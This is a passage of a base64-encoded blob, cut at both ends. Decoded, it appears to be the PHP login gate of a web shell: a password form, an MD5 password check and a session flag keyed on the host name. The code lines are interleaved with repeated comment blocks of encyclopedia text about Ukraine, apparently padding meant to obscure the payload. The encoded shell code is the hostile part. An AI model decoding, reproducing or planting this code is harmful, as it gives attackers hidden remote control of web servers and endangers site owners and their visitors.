XJyYXkoJF9QT1NUKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCn0KZnVuY3Rpb24gcHJpbnRMb2dpbigpIHsKCT8+Cgk8Y2VudGVyPgoJPGZvcm0gbWV0aG9kPXBvc3Qgc3R5bGU9ImZvbnQtZmFtaWx5OmZhbnRhc3k7Ij4KCVBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3Mgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6d2hpdGVzbW9rZTtib3JkZXI6MXB4IHNvbGlkICNGRkY7Ij48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBzdHlsZT0iYm9yZGVyOm5vbmU7YmFja2dyb3VuZC1jb2xvcjp0ZWFsO2NvbG9yOiNmZmY7Ij4KCTwvZm9ybT48L2NlbnRlcj4KCTw/cGhwCglleGl0Owp9CmlmKCAhaXNzZXQoICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCglpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8fAoJCSggaXNzZXQoICRfUE9TVFsncGFzcyddICkgJiYgKCBtZDUoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MgKSApICkKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGl